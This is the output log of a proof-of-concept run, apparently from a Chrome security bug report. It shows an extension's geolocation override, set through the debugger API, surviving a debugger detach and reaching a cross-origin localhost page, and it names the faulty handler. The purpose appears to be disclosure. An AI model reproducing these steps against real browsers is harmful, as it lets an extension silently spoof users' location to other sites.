[*] Starting two-origin HTTP server (8080 attacker, 8081 victim)...
[server] listening on http://127.0.0.1:8080/
[server] listening on http://127.0.0.1:8081/
[*] Launching Chrome with attacker extension (profile: /tmp/chrome-poc-profile.bxoHAU)...
[*] Waiting for victim page to report geolocation result...

===================== POC LOG (filtered) =====================
"[POC_EXT] starting", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_EXT] precondition: granted geolocation to victim origin http://127.0.0.1:8081", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_EXT] opened attacker tab id=1440885551", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_EXT] debugger attached (infobar now visible)", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_EXT] Emulation.setGeolocationOverride sent: lat=13.37 lon=-42.42", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_EXT] debugger DETACHED (infobar gone) -- override should have been cleared but was not", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_EXT] navigated same tab to cross-origin victim http://127.0.0.1:8081/victim.html", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (12)
"[POC_VICTIM] origin=http://127.0.0.1:8081 requesting geolocation (no debugger attached)", source: http://127.0.0.1:8081/victim.html (12)
"[POC_VICTIM_RESULT] origin=http://127.0.0.1:8081 lat=13.37 lon=-42.42 spoofed=true  *** BUG CONFIRMED: cross-origin spoofed location after debugger detach ***", source: http://127.0.0.1:8081/victim.html (10)
==============================================================

[+] BUG CONFIRMED: cross-origin victim received spoofed coordinates
    (lat=13.37 lon=-42.42) AFTER chrome.debugger.detach().
    EmulationHandler::Disable() did not clear the geolocation override.